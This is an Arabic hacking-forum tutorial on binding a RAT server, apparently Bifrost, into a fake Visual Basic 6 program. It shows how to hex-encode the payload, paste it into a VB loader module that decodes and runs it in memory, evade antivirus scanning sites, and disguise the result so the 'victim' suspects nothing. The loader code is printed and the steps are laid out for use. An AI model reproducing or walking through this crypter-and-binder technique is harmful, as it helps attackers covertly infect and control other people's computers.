شرح تلغيم + تشفير + تخطى مواقع الفحص + عن طريق الفجيول بيسك

شرح تلغيم + تشفير + تخطى مواقع الفحص + عن طريق الفجيول بيسك



مساء الخير الى احلى اعضاء كيفكم شو اخباركم ان شاء الله تمام

اليوم ان شاء الله درسنا عن

( تلغيم + تشفير + تخطى مواقع الفحص + عن طريق الفجيول بيسك )




متطلبات الشرح .

1: برنامج الفجيول بيسك 6 .

2: الاده تخطى مواقع الفحص حقت الاخ سراج المحبه .

3: واكواد طريقة الاخ الغالي ولد بو عدنان التشفير .

4:باتش بيزون لنه حجمه صغير واحسن .

5: تركز شوي .



نبدا على البركه ان شاء الله

اول شي نروح ونشغل ( برنامج الفجيول بيسك ) ونختار مثل ما في صوره


حلو الحين هذا نسمى احنا ( FORM ) حلو احنا الحين نبي نعمل برنامج يجذب ضحيه

حلو الحين نبي نتعمل اضافة ( Module ) تبع الصوره

تمام يا حلو لا الحين . الحين نبي نعمل برنامج وهمي واضافة ( Command ) وحد فقط



ملاحظة : انته وكيفك زين برنامج بس انا بشرح لكم طريقة التلغيمه



نكمل اكيد الكل يعرف كيف يعمل اضافة الى ( Command )

حلو الحين تم اضافة التالي

Module

( Class )

Command

حلو الحين نضغط مرتين على ( Command ) ورح تاتي لنا شاشة الاكود

ونكتب

Module1.Main



حلو الحين نضغط على ( Module ) مرتين ورح تيجي لنا شاشة الاكواد ونكتب وركز هنا



كود PHP:
'-----------------------------------
' Module : mPEL
' Author : Cobein
'-----------------------------------
' Edited By : Mr.DARK o1
' ***Page : [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
-----------------------------------



Option Explicit

(هنا المتغير)


Dim c As New API
Dim sData As String
sData = MailHex0 & MailHex1 & MailHex2 & MailHex3 & MailHex4 & MailHex5 & MailHex6 & MailHex7 & MailHex8 & MailHex9 & MailHex10
sData = HexToString(sData)
c.RbAcfA StrConv(sData, vbFromUnicode)
End Sub
Public Function HexToString(hex As String) As String
Dim x As Long
For x = 1 To Len(hex) Step 2
HexToString = HexToString & Chr$(CLng("&h" & Mid$(hex, x, 2)))
Next x
End Function




لو تلحظ انو في نص مكتوب ( هنا المتغير ) اكيد الكل شوفتو شرح الاخ الغالي ولد بو عدنان عن تشفير عن طريق الفجويل بيسك

ولكن انا اليوم بعد اذن الاخ الغالي ولد ابو عدنان رح اشرحه تاني لكن في طريقتي



حلو الحين عنا اده جميله اسمه FileToHex رح ارفقه مع شرح ان شاء الله

الحين نجيب السيرفر حقنا ونحطه في سطح المكتب وبعدين نروح ونشغل الاده صوره عن الاده




1: حط مسار سيرفر حقك .

2: حط نفس مسار سيرفر حقك لكن حول الامتداد من exe الى txt .

حلو الحين نروح نشغله الملف النتج لنا لي امتداده txt نعمل له تحديد الكل ونسخ

سؤالك وين نحط لي نسخنه ..؟

ج : مكان كلمة (هنا المتغير ) .

حلو الحين كل شي تمام لكن في نقطه مهما جدا وهي الزم نشوف كم انتج لنا سطر مثل

MailHex0

qusay

MailHex2

qusay

MailHex3

qusay

وكذا ولكن في اغلب الاوقت سيرفر بيزون يكون نتاج لنا من 0 الى 2

حلو عارفنا كم نتاج لنا سطر ولا نفرض من MailHex0 الى MailHex2 لو نلاحظ في اكواد Module في سطر كله


كود PHP:
MailHex0 & MailHex1 & MailHex2 & MailHex3 & MailHex4 & MailHex5 & MailHex6 & MailHex7 & MailHex8 & MailHex9 & MailHex10


حلو الحين الزم نخذف الاسطور لي ما انتجه لنا يعني

نخذف من MailHex3 الى MailHex10

لنه الاسطر الي انتج لنا لاده من MailHex0 الى MailHex2

وان شاء الله يكون واضح كل شي



التحميل الاكود Module لنه يمكن يتم تشفير بعض الاحرف

kopra

والتحميل الاده FileToHex

king.kopra





الحين نروح ونضغط على ( FORM ) مره وحده حتى نذهب اليه حلو الحين نفك ضغط عن الاده ونحطه في سطح المكتب ونعمل له ( نسخ )

ونروح على مشروع ونروجع الى ( FORM ) الحين نبي نعمل اضافة الى الاده نروح على شرط الادوت لي يجي في جانب

حلو نضغط على شرط مره وحدي ونضغط كبسه يمين ونتخار مافي صوره

حلين نضغط على الاده لي عملنا له اضافه من شرط الادوت ونحطه في ( FORM ) وبس

وبكذا ما نجرب مشروع كيف الوضع صار نضغط على ( F5 ) ونضغط على ( COMMAND ) الملغم ونجرب تبليغ

الووووووووووووووووول صروخ
وبكذا نروح نحفظ المشروع امتداد تنفيذي واكيد الكل يعرف كيف ما يبي له شرح

وما يبقى لنا غير تشيك برنامج يعني تزينه حتى ضحيه ما يشك